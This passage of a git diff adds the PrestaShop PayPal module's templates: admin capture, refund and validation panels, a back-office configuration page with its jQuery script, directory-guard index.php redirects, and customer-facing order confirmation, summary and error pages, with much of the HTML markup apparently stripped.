2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + \ No newline at end of file diff --git a/modules/paypal/views/templates/admin/index.php b/modules/paypal/views/templates/admin/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/templates/admin/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/back/admin_order/capture.tpl b/modules/paypal/views/templates/back/admin_order/capture.tpl new file mode 100755 index 0000000..0cf81f4 --- /dev/null +++ b/modules/paypal/views/templates/back/admin_order/capture.tpl @@ -0,0 +1,9 @@ +
        +
        + {l s='PayPal Capture' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Funds ready to be captured before shipping' mod='paypal'}

        +
        + +

        +
        +
        diff --git a/modules/paypal/views/templates/back/admin_order/index.php b/modules/paypal/views/templates/back/admin_order/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal/views/templates/back/admin_order/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/back/admin_order/refund.tpl b/modules/paypal/views/templates/back/admin_order/refund.tpl new file mode 100755 index 0000000..d29b2e7 --- /dev/null +++ b/modules/paypal/views/templates/back/admin_order/refund.tpl @@ -0,0 +1,12 @@ +
        +
        + {l s='PayPal Refund' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Payment accepted' mod='paypal'}

        +

        {l s='Information:' mod='paypal'} {l s='When you refund a product, a partial refund is made unless you select "Generate a voucher".' mod='paypal'}

        +
        + +

        + +

        +
        +
        diff --git a/modules/paypal/views/templates/back/admin_order/validation.tpl b/modules/paypal/views/templates/back/admin_order/validation.tpl new file mode 100755 index 0000000..f9ff4ad --- /dev/null +++ b/modules/paypal/views/templates/back/admin_order/validation.tpl @@ -0,0 +1,9 @@ +
        +
        + {l s='PayPal Validation' mod='paypal'} +

        {l s='Information:' mod='paypal'} {if $order_state == $authorization}{l s='Pending Capture - No shipping' mod='paypal'}{else}{l s='Pending Payment - No shipping' mod='paypal'}{/if}

        +
        + +

        +
        +
        diff --git a/modules/paypal/views/templates/back/back_office.js b/modules/paypal/views/templates/back/back_office.js new file mode 100755 index 0000000..7f63397 --- /dev/null +++ b/modules/paypal/views/templates/back/back_office.js @@ -0,0 +1,235 @@ +$(document).ready( function() { + var identificationButtonClicked = false; + + /* Display correct block according to different choices. */ + function displayConfiguration() { + identificationButtonClicked = false; + + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + $('#signup span.paypal-signup-content').hide(); + $('#signup .paypal-signup-button').hide(); + + switch (paypal_business) { + case '0': + $('#signup').slideDown(); + $('#account').removeClass('disabled'); + $('#credentials').addClass('disabled'); + $('input[type="submit"]').attr('disabled', 'disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u1').show(); + $('#paypal-signup-content-u1').show(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u2').show(); + $('#paypal-signup-content-u2').show(); + $('#standard-credentials').slideUp(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + break; + case PayPal_ECS: + $('.toolbox').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u3').show(); + $('#paypal-signup-content-u3').show(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + case '1': + $('#configuration').slideDown(); + $('#account').addClass('disabled'); + $('#credentials').removeClass('disabled'); + $('input[type="submit"]').removeAttr('disabled'); + + switch (paypal_payment_method) { + case PayPal_WPS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u4').show(); + $('#express_checkout_shortcut').slideDown(); + break; + case PayPal_HSS: + $('#signup').slideDown(); + $('#paypal-signup-button-u5').show(); + $('#paypal-signup-content-u5').show(); + $('#account').removeClass('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + $('label[for="paypal_payment_wpp"] .toolbox').slideDown(); + break; + case PayPal_ECS: + $('#signup').slideUp(); + $('#integral-credentials').slideUp(); + $('#standard-credentials').slideDown(); + $('#paypal-signup-button-u6').show(); + $('#express_checkout_shortcut').slideDown(); + break; + } + break; + } + + displayCredentials(); + return; + } + + if ($('#paypal-wrapper').length != 0) { + $('.hide').hide(); + displayConfiguration(); + } + + if ($('input[name="paypal_payment_method"]').length == 1) { + $('input[name="paypal_payment_method"]').attr('checked', 'checked'); + } + + function displayCredentials() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if (paypal_payment_method != PayPal_HSS && + ($('input[name="api_username"]').val().length > 0 || + $('input[name="api_password"]').val().length > 0 || + $('input[name="api_signature"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + else if (paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length > 0)) { + $('#credentials').removeClass('disabled'); + $('#configuration').slideDown(); + $('input[type="submit"]').removeAttr('disabled'); + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } + else if (paypal_business != 1) { + $('#configuration').slideUp(); + } + } + + $('input[name="business"], input[name="paypal_payment_method"]').live('change', function() { + displayConfiguration(); + }); + + $('label, a').live('mouseover', function() { + $(this).children('.toolbox').show(); + }).live('mouseout', function() { + var id = $(this).attr('for'); + var input = $('input#'+id); + + if (!input.is(':checked')) + $(this).children('.toolbox').hide(); + if (($(this).attr('id') == 'paypal-get-identification') && + (identificationButtonClicked == false)) + $(this).children('.toolbox').hide(); + }); + + $('a.paypal-signup-button, a#step3').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + $('#credentials').removeClass('disabled'); + if ($(this).attr('id') != 'paypal-signup-button-u3') + $('#account').addClass('disabled'); + + $('#configuration').slideDown(); + if (paypal_payment_method == PayPal_HSS) { + $('#standard-credentials').slideUp(); + $('#express_checkout_shortcut').slideUp(); + $('#integral-credentials').slideDown(); + } else { + $('#standard-credentials').slideDown(); + $('#express_checkout_shortcut').slideDown(); + $('#integral-credentials').slideUp(); + } + $('input[type="submit"]').removeAttr('disabled'); + + if ($(this).is('#step3')) { + return false; + } + return true; + }); + + if ($("#paypal-wrapper").length > 0) { + $('input[type="submit"]').live('click', function() { + var paypal_business = $('input[name="business"]:checked').val(); + var paypal_payment_method = $('input[name="paypal_payment_method"]:checked').val(); + + if ((paypal_payment_method != PayPal_HSS && + (($('input[name="api_username"]').val().length <= 0) || + ($('input[name="api_password"]').val().length <= 0) || + ($('input[name="api_signature"]').val().length <= 0))) || + ((paypal_payment_method == PayPal_HSS && + ($('input[name="api_business_account"]').val().length <= 0)))) { + $.fancybox({'content' : $('
        ').append($('#js-paypal-save-failure').clone().html())}); + return false; + } + return true; + }); + + $('input[name="sandbox_mode"]').live('change', function() { + if ($('input[name="sandbox_mode"]:checked').val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + var div = $('
        '); + var inner = $('#paypal-test-mode-confirmation').clone().html(); + $.fancybox({'hideOnOverlayClick' : true, 'content' : div.append(inner)}); + return false; + } + return true; + }); + + $('button.fancy_confirm').live('click', function() { + jQuery.fancybox.close(); + if ($(this).val() == '1') { + $('input[name="sandbox_mode"]').filter('[value="1"]').attr('checked', true); + } else { + $('input[name="sandbox_mode"]').filter('[value="0"]').attr('checked', true); + } + }); + + if ($('#paypal-save-success').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-success').clone().html())}); + else if ($('#paypal-save-failure').length > 0) + $.fancybox({'hideOnOverlayClick' : true, 'content' : $('
        ').append($('#paypal-save-failure').clone().html())}); + + $('#paypal-get-identification').live('click', function() { + identificationButtonClicked = true; + var url = 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_get-api-signature&generic-flow=true'; + var title = 'PayPal identification informations'; + window.open (url, title, config='height=500, width=360, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, directories=no, status=no'); + return false; + }); + + $('a#paypal_country_change').live('click', function() { + var div = $('
        '); + var inner = $('#paypal-country-form-content').clone().html(); + $.fancybox({'content' : div.append(inner)}); + return false; + }); + + $('#paypal_country_default').live('change', function() { + var form = $('#paypal_configuration'); + form.append(''); + form.submit(); + }); + } + +}); diff --git a/modules/paypal/views/templates/back/back_office.tpl b/modules/paypal/views/templates/back/back_office.tpl new file mode 100755 index 0000000..8eee576 --- /dev/null +++ b/modules/paypal/views/templates/back/back_office.tpl @@ -0,0 +1,290 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + + {* PayPal configuration page header *} + +
        + {if isset($PayPal_logo.LocalPayPalLogoLarge)} + + {/if} +

        {$PayPal_content.leader} {$PayPal_content.online_payment}

        +

        {$PayPal_content.tagline}

        +
        + +
        +
          {$PayPal_content.benefits}
        +
        + +

        + +
        + {* PayPal configuration blocks *} +
        +
        {$PayPal_content.expectations}
        +
        +
        + + +
        +

        {$PayPal_content.country_change_title} :

        + + + +
        +
        +
        +
        + + + + +
        +
        + +

        + + {* SELECT YOUR SOLUTION *} +
        + +
        +
        {$PayPal_content.customer_support} {if !empty($PayPal_content.customer_support_image)}Phone{/if}
        +
        {$PayPal_content.support_foonote}
        +
        + + 1

        {$PayPal_content.select_solution}

        {$PayPal_content.learn_more} + +


        + + {if (in_array($PayPal_WPS, $PayPal_allowed_methods) || in_array($PayPal_HSS, $PayPal_allowed_methods))} +

        {$PayPal_content.sole_solution_section_title}

        +
        +
        + {if (in_array($PayPal_WPS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT STANDARD *} + + {/if} + + {if (in_array($PayPal_HSS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT PRO *} +
        + + {/if} +
        + {/if} + + {if (in_array($PayPal_ECS, $PayPal_allowed_methods))} +

        {$PayPal_content.additional_solution_tagline}

        +
        + {* EXPRESS CHECKOUT SOLUTION *} + +
        + {/if} + +
        +
        + + {* SUBSCRIBE OR OPEN YOUR PAYPAL BUSINESS ACCOUNT *} +
        + + 2

        {$PayPal_content.account_section_title}

        + +

        + +
        + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + {**} + + {**} + +

        + + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + + + + +
        + +
        + +
        + + {* ENABLE YOUR ONLINE SHOP TO PROCESS PAYMENT *} +
        + 3

        {$PayPal_content.credentials_section_title}

        + +

        + + {$PayPal_content.credentials_tagline} + +
        + {* Credentials *} + +
        +

        {$PayPal_content.credentials_description}

        + +
        + + + {$PayPal_content.credentials_button}

        {$PayPal_content.credentials_button_disclaimer}

        +
        + +

        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + {$PayPal_content.credentials_fields_disclaimer} +
        + + +
        +

        {$PayPal_content.credentials_integral_description}

        + +
        + +
        +
        +
        +
        +
        + +
        + +

        {$PayPal_content.setup_finalize_title} :

        +

        1. {$PayPal_content.setup_reminder_1}

        +

        2. {$PayPal_content.setup_reminder_2}

        + +

        {$PayPal_content.configuration_options_title}

        +
        +

        {$PayPal_content.express_checkout_shortcut_title}

        +

        {$PayPal_content.express_checkout_shortcut_tagline}

        +
        + +
        + +

        {$PayPal_content.sandbox_title}

        +

        {$PayPal_content.sandbox_tagline} {$PayPal_content.sandbox_learn_more}

        +
        + + +
        + +

        {$PayPal_content.payment_type_title}

        +

        {$PayPal_content.payment_type_tagline}

        +
        + + +

        +
        + + + + +
        +

        {$PayPal_content.sandbox_confirmation_title} :

        +
          + {$PayPal_content.sandbox_confirmation_content} +
        + +

        {$PayPal_content.sandbox_confirmation_question}

        + +
        + + +
        +
        + + {if isset($PayPal_save_success)} +
        +

        {$PayPal_content.congratulation_title}

        + {if $PayPal_sandbox_mode == 0} +

        {$PayPal_content.congratulation_live_mode}

        + {elseif $PayPal_sandbox_mode == 1} +

        {$PayPal_content.congratulation_test_mode}

        + {/if} +
        + {/if} + {if isset($PayPal_save_failure)} +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message}

        +
        + {/if} + +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message}

        +
        + +
        +
        +
        + +
        +

        + {$PayPal_content.express_checkout_tagline_source} +

        +
        + +
        diff --git a/modules/paypal/views/templates/back/header.tpl b/modules/paypal/views/templates/back/header.tpl new file mode 100755 index 0000000..aac1009 --- /dev/null +++ b/modules/paypal/views/templates/back/header.tpl @@ -0,0 +1,7 @@ + + + \ No newline at end of file diff --git a/modules/paypal/views/templates/back/index.php b/modules/paypal/views/templates/back/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/paypal/views/templates/back/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/front/about.tpl b/modules/paypal/views/templates/front/about.tpl new file mode 100755 index 0000000..e9f88ee --- /dev/null +++ b/modules/paypal/views/templates/front/about.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='What Is PayPal?' mod='paypal'}

        + +
        +

        {l s='PayPal, the trusted leader in online payments, enables buyers and businesses to send and receive money online. PayPal has over 100 million member accounts in 190 countries and regions. It\'s accepted by merchants everywhere, both on and off eBay.' mod='paypal'}

        +

        {l s='Is it safe to use?' mod='paypal'}

        +

        {l s='PayPal helps protect your credit card information with industry-leading security and fraud prevention systems. When you use PayPal, your financial information is never shared with the merchant.' mod='paypal'}

        +

        {l s='Why use PayPal?' mod='paypal'}

        +

        +

          +
        • {l s='Make purchases or send money with PayPal - it\'s free' mod='paypal'}
        • +
        • {l s='Shop and pay conveniently by saving your information with PayPal' mod='paypal'}
        • +
        • {l s='PayPal is accepted by millions of businesses worldwide and is the preferred payment method on eBay' mod='paypal'}
        • +
        +

        +

        {l s='Start using PayPal today!' mod='paypal'}

        +
        \ No newline at end of file diff --git a/modules/paypal/views/templates/front/error.tpl b/modules/paypal/views/templates/front/error.tpl new file mode 100755 index 0000000..dd0f2b4 --- /dev/null +++ b/modules/paypal/views/templates/front/error.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/error.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe|escape:'htmlall':'UTF-8'} {l s='PayPal' mod='paypal'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} + +

        {$message|escape:'htmlall':'UTF-8'}

        + {if isset($logs) && $logs} +
        +

        {l s='Please try to contact the merchant:' mod='paypal'}

        + +
          + {foreach from=$logs key=key item=log} +
        1. {$log|escape:'htmlall':'UTF-8'}
        2. + {/foreach} +
        + +
        + + {if isset($order)} +

        + {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price|escape:'htmlall':'UTF-8'}
        + {l s='Your order ID is :' mod='paypal'} {$order.id_order|intval}
        +

        + {/if} + +

        « {l s='Back' mod='paypal'}

        +
        + + {/if} + +{/if} diff --git a/modules/paypal/views/templates/front/index.php b/modules/paypal/views/templates/front/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/front/order-confirmation-mobile.tpl b/modules/paypal/views/templates/front/order-confirmation-mobile.tpl new file mode 100755 index 0000000..c319187 --- /dev/null +++ b/modules/paypal/views/templates/front/order-confirmation-mobile.tpl @@ -0,0 +1,69 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {include file="$tpl_dir./errors.tpl"} + +

        {l s='Order confirmation' mod='paypal'}

        + + {assign var='current_step' value='payment'} + + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price|escape:'htmlall':'UTF-8'}

        +

        {l s='Your order ID is :' mod='paypal'} + + {if $smarty.const._PS_VERSION_ >= 1.5} + {Order::getUniqReferenceOf($order.id_order)} + {else} + {$order.id_order|intval} + {/if} + +

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction|escape:'htmlall':'UTF-8'}

        + {/if} + +
        + + {if !$is_guest} + {l s='Continue shopping' mod='paypal'} + {else} + + {/if} +
        +
        diff --git a/modules/paypal/views/templates/front/order-confirmation.tpl b/modules/paypal/views/templates/front/order-confirmation.tpl new file mode 100755 index 0000000..897cc74 --- /dev/null +++ b/modules/paypal/views/templates/front/order-confirmation.tpl @@ -0,0 +1,81 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-confirmation.tpl"} +{else} + {capture name=path}{l s='Order confirmation' mod='paypal'}{/capture} + {if $smarty.const._PS_VERSION_ < 1.6} + {include file="$tpl_dir./breadcrumb.tpl"} + {/if} +

        {l s='Order confirmation' mod='paypal'}

        + + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + + {include file="$tpl_dir./errors.tpl"} + + {$HOOK_ORDER_CONFIRMATION} + {$HOOK_PAYMENT_RETURN} + +
        + + {if $order} +

        {l s='Total of the transaction (taxes incl.) :' mod='paypal'} {$price|escape:'htmlall':'UTF-8'}

        +

        {l s='Your order ID is :' mod='paypal'} + + {if $smarty.const._PS_VERSION_ >= 1.5} + {if isset($reference_order)} + {$reference_order|escape:'htmlall':'UTF-8'} + {else} + {$order.id_order|intval} + {/if} + {else} + {$order.id_order|intval} + {/if} + +

        +

        {l s='Your PayPal transaction ID is :' mod='paypal'} {$order.id_transaction|escape:'htmlall':'UTF-8'}

        + {/if} +
        + + {if $is_guest} + + {if $smarty.const._PS_VERSION_ < 1.6} + {l s='Follow my order' mod='paypal'} + {else} + + {/if} + + {l s='Follow my order' mod='paypal'} + {else} + {if $smarty.const._PS_VERSION_ < 1.6} + {l s='Follow my order' mod='paypal'} + {else} + + {/if} + {l s='Back to orders' mod='paypal'} + {/if} +{/if} diff --git a/modules/paypal/views/templates/front/order-summary.tpl b/modules/paypal/views/templates/front/order-summary.tpl new file mode 100755 index 0000000..0387f99 --- /dev/null +++ b/modules/paypal/views/templates/front/order-summary.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $smarty.const._PS_VERSION_ < 1.5 && isset($use_mobile) && $use_mobile} + {include file="$tpl_dir./modules/paypal/views/templates/front/order-summary.tpl"} +{else} + {capture name=path}{l s='Your shopping cart' mod='paypal'} {$navigationPipe|escape:'htmlall':'UTF-8'} {l s='PayPal' mod='paypal'}{/capture} + {if $smarty.const._PS_VERSION_ < 1.6} + {include file="$tpl_dir./breadcrumb.tpl"} + {/if} +

        {l s='Order summary' mod='paypal'}

        + + {assign var='current_step' value='payment'} + {include file="$tpl_dir./order-steps.tpl"} + +

        {l s='PayPal payment' mod='paypal'}

        +
        +

        + {l s='PayPal' mod='paypal'} +
        {l s='You have chosen to pay with PayPal.' mod='paypal'} +

        + {l s='Here is a short summary of your order:' mod='paypal'} +

        +

        + - {l s='The total amount of your order is' mod='paypal'} + {$total|escape:'htmlall':'UTF-8'} {if $use_taxes == 1}{l s='(tax incl.)' mod='paypal'}{/if} +

        +

        + - {l s='We accept the following currency to be sent by PayPal:' mod='paypal'} {$currency->name|escape:'htmlall':'UTF-8'} +

        +

        + {l s='Please confirm your order by clicking \'I confirm my order\'' mod='paypal'}. +

        +

        + +

        +
        +{/if} diff --git a/modules/paypal/views/templates/hook/column.tpl b/modules/paypal/views/templates/hook/column.tpl new file mode 100755 index 0000000..18c3377 --- /dev/null +++ b/modules/paypal/views/templates/hook/column.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        PayPal

        +
        diff --git a/modules/paypal/views/templates/hook/confirmation.tpl b/modules/paypal/views/templates/hook/confirmation.tpl new file mode 100755 index 0000000..d783671 --- /dev/null +++ b/modules/paypal/views/templates/hook/confirmation.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Your order on' mod='paypal'} {$shop_name|escape:'htmlall':'UTF-8'} {l s='is complete.' mod='paypal'} +

        + {l s='You have chosen the PayPal method.' mod='paypal'} +

        {l s='Your order will be sent very soon.' mod='paypal'} +

        {l s='For any questions or for further information, please contact our' mod='paypal'} + {l s='customer support' mod='paypal'}. +

        diff --git a/modules/paypal/views/templates/hook/express_checkout_payment.tpl b/modules/paypal/views/templates/hook/express_checkout_payment.tpl new file mode 100755 index 0000000..a9ef451 --- /dev/null +++ b/modules/paypal/views/templates/hook/express_checkout_payment.tpl @@ -0,0 +1,77 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & 